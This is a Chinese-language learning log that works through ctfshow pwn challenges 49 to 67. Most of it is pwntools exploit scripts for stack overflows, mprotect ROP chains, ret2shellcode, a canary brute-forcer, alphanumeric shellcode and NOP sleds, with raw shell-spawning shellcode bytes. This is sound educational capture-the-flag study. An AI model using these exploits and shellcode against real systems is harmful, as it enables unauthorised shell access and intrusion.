栈的结构在开启金丝雀后大概长这样:
高地址 (High Address)
|-------------------------|
| 函数参数 (Arguments) |
|-------------------------|
| 返回地址 (Return Addr) | <-- 攻击者的最终目标
|-------------------------|
| 保存的bp (Saved EBP) | <-- 旧的基址指针
|-------------------------|
| 金丝雀 (Stack Canary) | <-- 位于bp和局部变量之间
|-------------------------|
| 局部变量 (Local Vars) | <-- 溢出发生的地方(如buffer)
|-------------------------|
低地址 (Low Address)
而关于静态编译,这指的是将所需的libc库直接打包到二进制文件中,不需要再去用计算机的libc库参与
换句话说,就是libc战术没用了

而它在检测中的样子是这样的:
file检测后,显示存在statically linked,说明是静态编译
先打开ida看看

溢出函数需要覆盖12h+4
接着看看有没有可以用的函数
在libc被打包的情况下,ida直接查找是相当困难的,大量的函数和字符串让人眼花缭乱
如果我们使用objdump查找,最后找出来的结果有些不尽如人意

这里查找了一些师傅的wp,发现金丝雀可能是被误报的
如果使用check检测的话,用于静态编译的函数可能会导致检测出用于支持金丝雀的库函数
这是来自ai的解释;
checksec 在检测 Stack Canary 时,主要是在 ELF 文件的符号表中寻找 __stack_chk_fail 或 __stack_chk_guard 这两个符号。如果找到了,它就输出 Canary: YES。
所以如果静态编译把可能用到的libc包直接打包进一个libc,可能会导致一些未使用的函数的环境也被打包进去,但没有启用,产生误报
检测方法就是从写入函数,如含有get,read的函数,比如这题的ctfshow
我们打开伪c代码,也是看不到校验函数的

相当干净的写入函数,不存在校验
栈的问题解决了,接下来就是如何读取服务器内容的问题
这题没有system函数,开了nx也不能用注入跳过
然而在打包libc库作为静态编译的时候,一般会存在着mprotect 函数
这个函数的作用就是修改某个内存区域的权限,比如原来只能读的换成能读写的。这样的话,我们就能在内存写入我们想要的函数与字符串。它能干的事情很多,比如允许读写,修改可执行权限
那我们的目标就很明确了,使用这个函数修改内存区间的可执行权限,然后在里面写入我们想要执行的机器码和想要传递的字符串参数就行了。

接着我们来找合适的段,ida中用ctrl+s打开段表,我们来找.bss段
这里我们看到它的权限是能读写,但是不可被执行
这里我们先解释下为什么我们不去找其他段。首先,像是text之类的代码段我们是碰都碰不得,而像是其他的数据段或多或少会与几个代码段共享一个物理页,胡乱修改难免会对代码造成影响。而bss段,它的地址固定,里面存着一些全局变量和静态变量,我们写入的东西不会被其他程序的变量挤占,而且天然可写,于是乎这里就成为了我们写入shell的最好位置。
接着关于mprotect函数,它的只能修改一整个内存页的权限,所以写入的变量只能是页的起始地址。.bss的当前页起始为0x080DB000(每页 0x1000,所以最后三位为 0 就是页起始地址,简单些就是把最后三个数字全部换成0)
所以说第一个参数就是
mprotect_start = 0x080DB000
这里就是修改的起始位置
接着第二个参数,也就是长度,我们回到.bss,我们观察它的起始段和结束段
080DB320起始,080DBFFC结束,它的占用空间不足一个页,0x1000,也就是4kb,所以对于修改长度,我们传输0x1,也就是修改一页,这个函数的最小修改单位就是一页了,它会自动想上班取整为0x1000
mprotect_len = 0x1
第三个参数,就是我们需要修改的权限了
mprotect函数的权限选择是用的加法组合
读权限为4,写权限为2,可执行权限为1,想要哪些就自己加起来,这里我们全都要,所以第三个参数为7
mprotect_prot = 0x7
这三个参数的的传入问题,在32位的程序中,我们依旧是使用栈来传递,但和以往不同的是,这里我们需要为这个函数善后,因为先前的题目中都只有一个sys函数,我们执行它的时候也就不需要考虑返回执行完它后程序要去哪里了。但这里因为参数传入较多的问题,假设我们在返回地址使用p32(0)占位,我们执行完后,返回地址指向的是0,导致我们想要执行的位置无法被指向,这里我们就需要i使用三个连续的pop来清理栈指针,让它指向正确的位置,当然,它还得包括ret
我们使用rop来寻找我们需要的函数

pop_3=0x08056194
我们的rop链条大概是这样的
mpro+pop_3+参数1+参数2+参数3+shellcode。
接着我们来解决shellcode的问题
这里可以进入ida中打开bss段随便找个没东西的位置
这里我选择080DB333
我们打算在这里塞入shellcode,当然,不管是什么写入函数,最基础的指定写入位置的功能一定是有的
本体的写入函数是read,需要三个参数,先前也说过
- 第一个参数是 fd: 标准输入 (stdin)
0 - 第二个参数是保存地址
shell=080DB333 - 第三个参数是写入长度
len(shellcode)
当然,写入长度咱们能调的大一些
继续写我们的rop链条
mpro+pop_3+参数1+参数2+参数3+read+shell地址+0+shell+0x100000
写入环节,这里我们介绍一个本应该早些接触的玩意,ret2shellcode
这类题目的食用方式是在没有开启nx保护的情况下,我们使用pwntools自带的asm代码直接写入执行sh的机器码
在ctfhub的技能树中有较为典型的利用,它的exp如下
from pwn import *
import re
context.arch='amd64'#架构指定
shellcode=asm(shellcraft.sh())#生成shell
p=remote('challenge-c3b38bfcad408f15.sandbox.ctfhub.com',33975)#指定地址
buf_addr=p.recvuntil(']') #截取到]为止的字符串
buf_addr=int(buf_addr[-15:-1],16) #处理一下 然后为16进制
shellcode_addr=buf_addr+32 #0x10+0x08+0x08 十进制为32
payload=b'a'*(0x10+0x08)+p64(shellcode_addr)+shellcode
p.sendline(payload)
p.interactive()
其中重要的代码为:shellcode=asm(shellcraft.sh())#生成shell
这里会直接生成机器码,写入到目标位置供cpu读取
这里我们也要使用这个玩意
接着我们来编写exp
from pwn import *
from LibcSearcher import *
elf = ELF("D:\网安\题目附件\ctfshow pwn\pwn49")
context(arch = 'i386' , os = 'linux' , log_level = 'debug')
p = remote("pwn.challenge.ctf.show", 28203)
setoff=b'a'*(0x12+4)
mp_add = elf.sym['mprotect']
mprotect_start = 0x080DB000
mprotect_len = 0x1
mprotect_prot = 0x7
pop_3 = 0x08056194
shell_add = 0x080DB333
read_add = elf.sym['read']
shellcode = asm(shellcraft.sh())
payload = setoff + p32(mp_add) + p32(pop_3) + p32(mprotect_start) + p32(mprotect_len) + p32(mprotect_prot) + p32(read_add) + p32(shell_add) + p32(0) + p32(shell_add) + p32(len(shellcode))
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
这里建议移步到kali中运行,因为涉及到的asm部分,对于windows是试支持阶段,需要另外下载软件并配置环境,但是在kali中是已经配置好的
ctfshow{3d58aebf-2082-412f-ad09-f6129a1a57aa}

这里需要再检查下kali中的libcsearcher是否正常,因为选用的模式是debug,所以出来的东西会有点多
pwn50
一个月半以后的继续接触,感觉手生了不止一点半点

检查过后发现没有报金丝雀了,而且大小不大,不像是libc被打包进去的情况
这里继续查看ida,看看漏洞函数

使用了get,不存在写入限制。写入从-20h开始,覆盖量为20h+8
我们继续尝试寻找函数,rop寻找pop

0x00000000004007e3 : pop rdi ; ret
rdi传参用的到,先拉回来

got表扫不出来。
这里似乎是libc的做法,我们能通过puts来定位函数,但这里出题人似乎想让我们用和49一样的方法,也就是mprotect
这里我们继续查询段基址
.bss:0000000000602050
这里起始位置需要我们手动重置下、
0000000000602000
这里我们在先前的加载中发现,我们想要传递参数,想要的寄存器都不太干净。这里我们能rop目标的libc库,这里借用下大佬的图片

这里输出的指令也和先前相同,ROPgadget --binary libc6_2.27-3ubuntu1.5_amd64.so --only "pop|ret"|grep pop
pop_rsi_ret = libc.address + 0x0000000000023a6a
pop_rdx_ret = libc.address + 0x0000000000001b96
接着我们来编写exp
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(arch='amd64', os='linux', log_level='debug')
io = process('./pwn')
# io = remote('pwn.challenge.ctf.show', 28191)
elf = ELF('./pwn')
# 1
pop_rdi_ret = 0x00000000004007e3
ctfshow = elf.sym['ctfshow']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
payload1 = (
b'a' * (0x20 + 8) +
p64(pop_rdi_ret) + p64(puts_got) +
p64(puts_plt) +
p64(ctfshow)
)
io.sendline(payload1)
puts = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# 2 3
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
libc.address = puts - libc.sym['puts']
pop_rsi_ret = libc.address + 0x0000000000023a6a
pop_rdx_ret = libc.address + 0x0000000000001b96
mprotect = libc.sym['mprotect']
mprotect_start = 0x0602000
mprotect_len = 0x1 # .bss 当页起始地址
mprotect_prot = 0x7
shell = 0x602050 # .bss 起始地址
read = libc.sym['read']
shellcode = asm(shellcraft.sh())
payload = (
b'a' * (0x20 + 8) +
p64(pop_rdi_ret) + p64(mprotect_start) +
p64(pop_rsi_ret) + p64(mprotect_len) +
p64(pop_rdx_ret) + p64(mprotect_prot) +
p64(mprotect) +
p64(pop_rdi_ret) + p64(0) +
p64(pop_rsi_ret) + p64(shell) +
p64(pop_rdx_ret) + p64(len(shellcode)) +
p64(read) +
p64(shell)
)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()
这里的逻辑不难理解,首先我们获得puts的got表位置和plt位置,计算后得到基址位置。在我们确定了我们目标的libc库后,我们写入mpro,通过libc的三个寄存器弹出传递参数,并且通过shellcode写入sh,让我们获得和sysytem的交互
这里稍微注意下,我这里的变量写的似乎比较迷惑,这里read只是提供了写入位置和长度,写入还要我们使用一遍sendline

然而这里蛋疼的是,又是两个版本的代码,思路相同,但就是无法运行
from pwn import *
from LibcSearcher import *
p = remote("pwn.challenge.ctf.show", 28234)
elf = ELF('/home/kali/桌面/pwn/pwn50')
context(arch = 'amd64' , os = 'linux' , log_level = 'debug')
#part1
offset = b'a'*(0x20+8)
pop_rdi=0x00000000004007e3
ctfshow=elf.sym['ctfshow']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
payload = offset + p64(pop_rdi) + p64(puts_got)+p64(puts_plt)+p64(ctfshow)
p.sendline(payload)
puts = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts',puts)
libc.address = puts - libc.dump('puts')
#part2
libc = ELF('/home/kali/桌面/libc-database-master/db/libc6_2.27-3ubuntu1.5_amd64.so')
shell=0x0000000000602050
pop_rsi_ret = libc.address + 0x0000000000023a6a
pop_rdx_ret = libc.address + 0x0000000000001b96
mprotect = libc.sym['mprotect']
read = libc.sym['read']
shellcode=asm(shellcraft.sh())
mprotect_start = 0x0602000
mprotect_len = 0x1 # .bss 当页起始地址
mprotect_prot = 0x7
shell = 0x602050 # .bss 起始地址
payload =(
b'a' * (0x20 + 8) +
p64(pop_rdi) + p64(mprotect_start) +
p64(pop_rsi_ret) + p64(mprotect_len) +
p64(pop_rdx_ret) + p64(mprotect_prot) +
p64(mprotect) +
p64(pop_rdi) + p64(0) +
p64(pop_rsi_ret) + p64(shell) +
p64(pop_rdx_ret) + p64(len(shellcode)) +
p64(read) +
p64(shell)
)
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
最后它看起来是这样的

只有输入没有输出,又是让人头大的一天
pwn51
这题直接打开的话非常难看

整个函数乱糟糟的,找不到入口在哪里
这里怀疑是做了混淆,但是还不能确定,网上几个师傅的wp也没讲这个
但是打开字符串能看到存在后门函数
![]()

翻半天没找到漏洞点说是【】
先nc看看

这里看到,如果输入指定内容,这里的逻辑似乎是把i全部换成ironman
再回去看看字符串里面有没有who are you

这里找到我们看到的一些字符串
这里跟进查看函数

老天有眼,也算是找到位置了,写入起始在-6c,看看sub实际上是栈底。限制写入20h,但是我们想到,全部都是i的话,能凭空多出来六个字符,一个顶七个
这里我们需要溢出0x6c+4=112个字符,换算一下需要十六个i
编写exp
from pwn import *
p=remote('pwn.challenge.ctf.show' ,28168)
pad = b"I"*16
door = 0x804902e
payload = pad + p32(door)
p.sendline(payload)
p.interactive()

pwn52

保护只开了nx,32位程序

这里不像上一题一样,函数比较清晰明了
先看看ctfshow

输入函数为gets,没有写入限制,需要写入的量为6c+4
再看看flag位置是什么

分支有点多,这里看下c

这里的逻辑是,执行该函数的时候会读取ctfshow_flag。,没有就输出固定字符串,如果有,并且我们传入的参数中,a1=876,a2=877的话,就将文件内容打印到屏幕上
显然需要我们将flag作为跳转位置
先编写一版exp出来
这里思路很简单,我们跳转到flag函数,为了给函数传递参数,我们需要一个占位作为返回地址,可以是任何数字,接着是a1和a2的值,这里用p32(0x36c) + p32(0x36d)实现
from pwn import*
p=remote("pwn.challenge.ctf.show", 28256)
seetoff= b'a'*(0x6c+4)
flag_add= 0x08048586
payload = seetoff + p32(flag_add) + p32(0) + p32(0x36c) + p32(0x36d)
p.sendline(payload)
p.interactive()

pwn53

还是32位
打开ida查看,发现似乎存在canry,先看看canry函数

似乎是打开文件,如果我们能修改文本的内容,似乎也能作为执行流
还有flag在,打开看看

这里使用fgets进行写入文件内容,用puts打印。跳转到这里比较合适,再看看ctfshow

ctfshow函数变成这样了,不太好看,打开伪c

分析代码
v5初始化为0
s1作为存储canary警告语句的位置,会首先被第二行的printf打印
接着输出字符串
进入while循环,初始跳出条件为v5大于31
进入循环,使用read读取我们键入的数据,存储在v2中,当遇到换行符【ascii=10】的时候跳出循环,或者是在我们输入的字符,也就是v5的计数达到32的时候,跳出循环
v5会在我们每次写入一字节后计数
接着我们写入的内容v2被sscanf语句解析为整数,存入nbytes
这是系统弹出提示符号$,提示进入下一步
使用read函数读取我们的输入,要求为标准输入,字节量为nbytes,存入buf
【这里似乎就是溢出漏洞,似乎只要我们先前给到的输入数目足够大,这里就能通过buf溢出到返回位置,这么看的话,溢出量就是30h+4】
接着是金丝雀的校验函数,这里会检测栈上的s1的内容是否与全局变量,一致就通过,不一致就强制跳出程序
首先理清栈的布局

高
返回地址
ebp存档
v5计数器【】0-0x0c
s1
buf
v2
nbytes
低
我们的写入位置在buf,会覆盖到s1
这里的问题是我们如何得到s1的值,查阅wp后发现我们需要爆破金丝雀的值
buf到s1为32字节,s1占用16字节
大佬的爆破脚本是这样的:
from pwn import *
# Canary 值泄露
canary = b''
for i in range(4):
for j in range(0x100):
p = remote('pwn.challenge.ctf.show', 28261)
p.sendlineafter(b'>', b'200')
payload = b'a' * 0x20 + canary + p8(j)
p.sendafter('$ ', payload)
ans = str(p.recv())
if "Canary Value Incorrect!" not in ans:
canary += p8(j)
print(f"NO:{i + 1} {hex(j)}")
break
else:
print(f"try again! {i}:{j}")
print(f"canary: {hex(u32(canary))}")
这里逻辑很简单,就是通过服务器的报错进行遍历,通过pwntools的回复截取获得当前状态
这里发送-1.会被服务器通过补码转换为一个极大的值,供我们的read使用,同时发送的pay也完成了buf的溢出

0x21443633
这里摘抄下大佬解释的为什么使用p8
这里我们为什么使用p8?
在上面的checksec我们可以得出i386 - 32 -little是小端序的意思(在一些题目里大端小端起着很重要的作用,因为有一次没有看它的端序,我花费了很长时间也没有写出,最后才发现是我大端序小端序弄混了,导致key的顺序颠倒)
为什么使用8字节?而不用32字节或者64字节??
这是因为:
金丝雀由多个字节组成,需要逐个字节猜测
内存比较是逐字节进行的,可以利用这个特性
爆破效率:256次尝试找到一个字节,而不是 2³² 次尝试找4字节
可行性:4 × 256 = 1024 次尝试 vs 4,294,967,296 次尝试
大佬原文:
ctfshow pwn入门 pwn53_ctfshow pwn53-CSDN博客
这里我们要理解的一点是,覆盖金丝雀值是一点一点覆盖的,所以这里逐字节检测的方式是按字节覆盖。金丝雀的检测逻辑是通过判断栈的整体值和保存的变量的差距。所以我们能通过逐字节的溢出到金丝雀位置,来确保每次的检测只有一个值是未知的
接着就是正常的exp编写
flag的位置在0x08048696
from pwn import *
p=remote('pwn.challenge.ctf.show', 28172)
can=0x21443633
offset = b'a'*(0x20) + p32(can) + b'a'*(0xc+4)
flag= 0x08048696
p.recvuntil(b'How many bytes do you want to write to the buffer?\n>')
p.sendline(b'-1')
p.recvuntil(b'$ ')
payload = offset + p32(flag)
p.sendline(payload)
p.interactive()

这里与先前的代码的不同就在通过接受内容,剩下的就没什么了
pwn54

只开了nx,还是32位

这里没有ctfshow了,我不会再感到喜悦了
flag依旧是读文件

回到main

这里大概的流程就是,引导你用户密码,然后从password.txt中读取密码,查看用户输入的密码是否与密码本中的一致。一致就调用flag,不一致就提示被拒绝访问
setvbuf(stdout, 0, 2, 0),将输出设置为无缓冲模式,防止延迟
memset保证将所有缓冲区的内容全部清零,防止干扰后续流程
接着是输入引导,也就是两个puts,引导我们输入我们的用户名
fgets是安全读取,这里最多会读取255字符,写入位置在v5,v5的容量为256,保证了不会溢出
v8负责查找换行符,v8成立则结束输入,进到密码环节
读取密码本,存储在steram
fgets将密码内容存储在s中,用于以后比较
打印欢迎语句,格式为welcome,username
接着我们通过fgets输入最长为64字节的字符,存储在s1,s1的预期大小为64字节,无法溢出
v5重置
接着进入密码比较,比较s与s1,不再赘述
整体不存在金丝雀
目前没什么思路,先尝试运行下

起码密码本是存在的【】
这里查了下wp,发现师傅们似乎能直接接收密码
from pwn import *
context.log_level='debug'
p=remote("pwn.challenge.ctf.show", 28138)
pad=b'a'*256
p.recvuntil("Input your Username:")
p.sendline(pad)
passwd=p.recv(64)
print(str(passwd))
p.interactive()

CTFshow_PWN_r00t_p@ssw0rd_1s_h3r3
代码倒是好理解,填满v5以后以用户名引导为节点接受64字节的数据,然后以字符串打印出来
回到代码,这期间似乎能被截取的只有gets获得密码,但似乎不现实
这里必须写满256字节才能获取密码
回到代码,这里注意到密码爆出的位置在welcome的用户名后,说明爆出的点在puts(v5)
我们回到puts上来,puts的读取字节数是不受限制的,知道它遇到/00,也就是空字节。
这里我们将256的可输入内容全部用a占位,不存在空字符。但是用户名的v5和密码存储的s是连接着的。s在低地址,v5在高地址。而puts的读取又刚好是这个顺序。于是它就会直接读到密码去。
接着我们再nc下就行了

【还有个问题是,上面的接收脚本中,我们限制了64字节的接收范围,但是实际上的内容远超64字节。实际上把64修改为2都是可以的,应该是debug的优先级高于print,我是实在不知道别的可能了()】
pwn55

32位,只开启nx
好消息是ctfshow回来了

使用了get无限制输入,本函数也能被main正常调起,需要覆盖2c+4
但是flag出了点幺蛾子

这里需要flag1和flag为真,并且a1=-1111638595【0xBDBDBDBD】
还存在两个flag函数,这是flag1

这是flag2

当1和a1都为真的时候,2也为真
但1生来就是真,看来只传一个参数就行,这里的参数与上面不同,换成十六进制是0xACACACAC
但需要注意的是,main函数里没有调用这两个参数,我们需要手动调用下
flag1:0x08048586
flag2:0x0804859D
编写exp
from pwn import *
p=remote("pwn.challenge.ctf.show", 28207)
setoff = b'a'*(0x2c+4)
flag1=0x08048586
flag2=0x0804859D
a1=0xBDBDBDBD
af2=0xACACACAC
flag=0x08048606
payload = setoff + p32(flag1) + p32(flag2) + p32(flag) + p32(af2) + p32(a1)
p.sendline(payload)
p.interactive()

这里唯一要注意的可能就是传参方式了
pwn56

这里什么都没有打开,栈保护是关闭状态,能直接将shellcode注入到栈中执行

这里打开发现只有一个函数,先分析下

什么也没有,甚至没有栈,只是调用了某个函数,单看汇编是直接跳转到了某个内存地址
换到伪c代码

发现首先将sh复制到了v1的地址,然后使用execve调用函数
说明直接交互就能拿到flag

没有以往的logo,甚至给人一种以为容器炸了的错觉
这里实际上就是想展示下shellcode如何使用,将命令写入某个位置然后执行
pwn57

这里甚至没有检测到
尝试分析下

依旧是一个函数
看起来还是像直接调用sh
c语言的代码时这样的

看起来调用了系统路径,尝试像上题一样直接访问下

pwn58

看起来识别不完全,但是题目提示说是没有限制
ida尝试分析

主函数调用ctfshow

存在gets无限制写入
覆盖量为8+4,十二字节
这里查找字符串应该找不到sh了

确实没有,这里需要我们手动插入
简单来说,shellcode就是将脚本生成的机器码传输到栈上,在不开启栈保护的情况下,系统会直接执行栈上的指令【毕竟cpu可不管存的是数据还是指令】
编写exp
写半天发现搞错了【】
重新看下伪c代码

获得我们的输入内容,然后回到我们写的函数
这里直接发送就行了
from pwn import *
p=remote("pwn.challenge.ctf.show", 28121)
context(arch = 'i386' , os = 'linux' , log_level = 'debug')
shellcode=asm(shellcraft.sh())
payload =shellcode
p.sendline(payload)
p.interactive()

这里如果是在windos中可能遇到的问题是asm的插件可能不被支持,向我一样的懒鬼能在kali中运行
pwn59

无保护,ida分析

代码还是原样子
接着使用上一题的,只要重新更修下系统架构就行了,i386换成amd64

pwn60

这里看到没有防护
ida分析

看起来只有主函数

没有调用另外的函数
看来泄漏点就是gets了
看下伪c

这里是将gets写入的内容存入buf2中

buf2在bss段,这里查看下权限是怎么样的
![]()
怪了,不可执行,但是其他师傅的wp里面显示的是可执行
![]()
可执行段在这边
这里怀疑是gdb出问题,暂时不知道怎么解决【别的师傅反应是需要在18的乌班图打开,否则就会这样】
这里顺带看了看师傅们的解决方式,他们选择在bss段也就是buf2写入shellcode,然后用s的溢出将跳转地址切换到buf2。但是为什么不直接将shell布置在栈上【这里是ctfhub的思路,来自排位能skill,后来想了想可能师傅们懒得确定这里是不是可执行段】
待会尝试下
但是这里的溢出量是无法通过代码确定的,单纯观察的话,从汇编和伪c代码的角度看,这里都是需要104字节的溢出【100+4】
师傅们的wp用gbd跑出来的脚本是112溢出量,说明原先需要108的缓冲区
尝试手撕下
and esp, 0FFFFFFF0h
add esp, 0FFFFFF80h
在给esp赋值ebp后,针对esp又出现了以下操作
首先来看第一步,按位与,两个都为1才为1,否则为0.这是汇编中定向修改的常用手段
0FFFFFFF0换成二进制是这样的:
1111 1111 1111 1111 1111 1111 1111 0000
我们能看到,后四位被清零,这可能是某种对齐操作。但是32位对不对齐似乎不是很影响
接着,esp add 0FFFFFF80h,这一坨换成补码是-128
我们假设在and后的esp是正确的地址,也就是起始点
我们向下看代码,发现没有再动过esp的了。回到get的位置

s=-64
这里减法过后剩下的是0x1c,也就是十进制的28,加上后是-128后是100
好吧,兜兜转转又回来了
我们还是选择脚本跑
r < <(python3 -c "from pwn import *; print(cyclic(200))")
逻辑很简单,在写入位置输入足够多的字节,看看写到哪里会报错,这样我们就能看到哪里是返回地址了

最后结果不尽如人意
我们的错误点爆出的溢出量位110,但是师傅们的地址爆出的是112
怀疑是虚拟机的问题,尝试用ctfshow的做

天天上一当,当当不一样
别的大佬的wp是这样的

没招了,先借下脚本试试
from pwn import *
context.log_level ="debug"
context.arch = "i386"
io=remote("pwn.challenge.ctf.show",28150)
buf_addr=0x0804A080
shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(112,b"a")+p32(buf_addr)
io.sendline(payload)
io.interactive()

显然,人家是对的
这里再试试把echo拉长一点,拉到270

神奇

vmmap在当前环境下也正常了
![]()
有的xd,有的
这里思路就不再赘述了
推荐博客:
唯一的毛病是图床载入慢【】
pwn61

这里开了地址随机化,这种随机实际上是伪随机,能通过got表和plt表之间的差距找出基址,接着我们就能通过基址+偏移地址的方式确定函数位置
64位ida打开

字符串位置没有看到可能存在的后门

函数中不存在可能的flag获取方式,应该要使用vmmap查看段表,然后找出来可写可执行段,然后shellcode
在这之前,先解决函数地址的问题

回到主函数,get写入,这里没对sp做什么手脚,说明这里能直接算溢出
10h+8
接着我们还看到了主函数调用printf打印了点东西,一个内存指针,进入c看看

v5的指针,而且是我们gets的起始地址
先连接下看看

当前运行的v5=0x7ffe66c30080
这里v5不能直接拿,毕竟脚本访问的和现在咱们访问的已经不是一个进程了
使用python截取内容,从[开始不计[,从]结束不计]
r.recvuntil(‘[‘)
addr=r.recvuntil(‘]’,drop=True)#这意味着不截取最后的”]“
既然题目给出了v5的地址,暂且就不需要再寻找其他的可执行段了。写在栈内也是可以的
但是要注意的是,在函数的最后有leave,这个进程在return之前,也就是说,在函数跳转回返回地址之前,我们的shell就已经被拿下了
这里我们需要将shell写在返回函数之后
from pwn import *
p = remote("pwn.challenge.ctf.show", 28239)
setoff = b'a'*(0x10+8)
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
p.recvuntil('[')
add=p.recvuntil(']',drop=True)#这意味着不截取最后的”]“
addr = int(add,16) + 0x10+16
payload = setoff + p64(addr) + shellcode
p.sendline(payload)
p.interactive()
这里截取回来的数据是二进制串,一定要记得int化为十六进制
能这么干的原因是nx没开,程序允许在栈上执行命令

pwn62

还是和上一题一样的情况,ida打开

整体函数似乎和以前没区别,但是写入函数变成了read,我们无法只能覆盖38h也就是56字节的内容
回到题目,先看看溢出大小
依旧是18h
这里已经到了返回地址
再加上8
20h
我们现在还剩下18h能用,但这看起来还是够的,以防万一,先打印出来看看

jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05
有点长啊
给ai数了下,30个字,但是我们只能用24个字先试试

不太行,这里我们使用短shell
:::info
32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
:::
:::info
64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
:::
依旧是先前那位大佬的东西
这里我们将原先的shell替换掉
from pwn import *
p = remote("pwn.challenge.ctf.show", 28177)
setoff = b'a'*(0x10+8)
context.arch = 'amd64'
#shellcode = asm(shellcraft.sh())
p.recvuntil('[')
add=p.recvuntil(']',drop=True)#这意味着不截取最后的”]“
addr = int(add,16) + 0x10+16
shell = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload = setoff + p64(addr) + shell
p.sendline(payload)
p.interactive()

pwn63

题目提示又短了一点
继续使用ida打开

似乎从38下降到37
原来的应该还能用

是的

pwn64

这里开了nx保护,但是shellcode的威力咱们早在49就领会过
buf依旧是10h

但是这里加入了校验,当写入报错的时候提示错误输入
在最后,((void (*)(void))buf)()会执行我们写入到buf的东西
但是这里的buf不是栈的空间,作者使用mmap另行开辟了一段空间供我们使用,最大写入字节为1024
那么我们直接写入shell就行了

这里需要注意的是,10秒后会杀进程,最好提前复制指令,要是手速够快当我没说【】
pwn65

发现打开了pie,并且是fr,我们无法修改got表。感觉能使用libc类似的方式,去获得当前的base,然后通过加减法获得地址

这里不能反编译

这里我们发现能写入400h,但是buf的写入限制是410,似乎是无法溢出

可能真的单纯是shellcode?
nc上线,先看看是什么情况

根据提示,可能是存在过滤之类的
回到代码,让ai帮忙分析下

这一堆实际上都是校验函数,白名单保留了所有的大小写字母,数字0到9
这里查询了下wp,发现需要使用alpha3
GitHub - SkyLined/alpha3:字母数字shellcode编码器。·GitHub
大概就是将shell转换为纯数字字母组合,需要python2运行
首先我们需要生成一个这样的sc文件
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.sh())
with open('/home/kali/桌面/pwn/sc', 'bw') as f:
f.write(sc)

接着把它扔到alpha3的文件夹中,运行python2 ./ALPHA3.py x64 ascii mixedcase rax --input="sc"
接着我们就能得到一串纯数字字母的shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t
再次nc,但是发现换行符会被识别为符号,导致进程阻塞
使用send发送payload

pwn66

开了nx,但是没开pie,这里希望能正常反编译

这里存在溢出,read读写,写入量是200h,来到c的代码

发现mmap函数,将buf的大小换成了0x1000,权限是可读可写
先看看能不能读出got表

失败
回到主函数,发现存在检查函数

这里存在一个类似白名单的东西,unk_400F20,我们的输入必须全部符合这里的内容
看看能不能跟进
![]()
这....
够呛啊
看了wp,发现这里和之前利用puts是一个思路。while停止的符号是/x00。那我们的目标很简单,只要将shellcode前塞入/x00,就能阻止校验函数
from pwn import *
context(arch="amd64",log_level="debug")
io=remote("pwn.challenge.ctf.show",28298)
front=b"\x00B\x00"
shellcode=asm(shellcraft.sh())
payload=front+shellcode
io.sendline(payload)
io.interactive()

pwn67

金丝雀开了,剩下的没有

写入方式是fgets,写入限制是100h
而写入的缓冲区seed刚好也是100h,似乎不存在溢出
这里看下伪c

seed[1024] = __readgsdword(0x14u)读取了金丝雀的值
调用了load和acqre两个函数,跟进看看


没什么思路,回到题目发现给了提示是nop sled
这里解释下这是什么玩意
先简单看题目的提示,nop,让cpu跳到下一条指令,seld,直译是滑梯或者滑雪板
这里实际上干了这么一件事,把我们的payload换成这样的格式
溢出部分+返回地址(指向nop区域)+nop区域+shellcode
当程序运行到返回区的时候,就能顺着nop区域一路滑下去,直到执行到我们写入的shellcode
这里的好处就是,返回地址能给的很迷糊,只要再nop区域以内,就能实现执行shellcode
这么干的原因是,我们在某些环境中可能得不到特别精确的shell地址,不像是bss段我们能直接写入并记录地址
回到源码,我们发现我们需要输入两次内容,第一次存储在seed中,第二次通过scanf存储在v5中,函数还会执行v5
这里还泄露了一个函数的地址

函数在这里
这个函数首先读取了v1的地址,v4用来检验金丝雀,v2是生成了一个随机值,
最后返回的内容是v1+一个在-668到+668之间的值
这里我们能通过泄露的地址反推回v1的大概地址,或许我们能用这个范围来确定nop的大概位置
这里搬运下大佬wp的思考流程
这是个什么样子的函数呢,返回的是v1的地址加上一个(-668,668)的一个v2
因为我知道这个position的地址,这个地址是由&v1+v2得到的,我也知道v2的大概区间,所以我可以算出来&v1肯定在一已知的区间里
又因为v1是在query_position函数ebp-0x15的位置
由于我也能知道&seed相对于&v1的固定偏移
所以&seed也会在一个区间里
只要我们把大量NOP放在shellcode前,就能有效扩大落脚点,落到那一片就能执行shellcode了
我们要把整个v2都给NOP了,所以NOP写个1336

我只要我的落点在(v1,v1+1336),就能有效确保它落在了nop sled上,于是直接滑雪橇过去了
于是第一个payload就是构造这个滑道,前边会铺满\x90的雪花,然后铺1336个之后迎接我们的shellcode
payload=b’\x90’*1336+asm(shellcraft.sh())
确定了第一个payload之后我们就要确定第二个payload写啥了
第二个是我们执行的位置,也就是这个(v1,v1+1336)
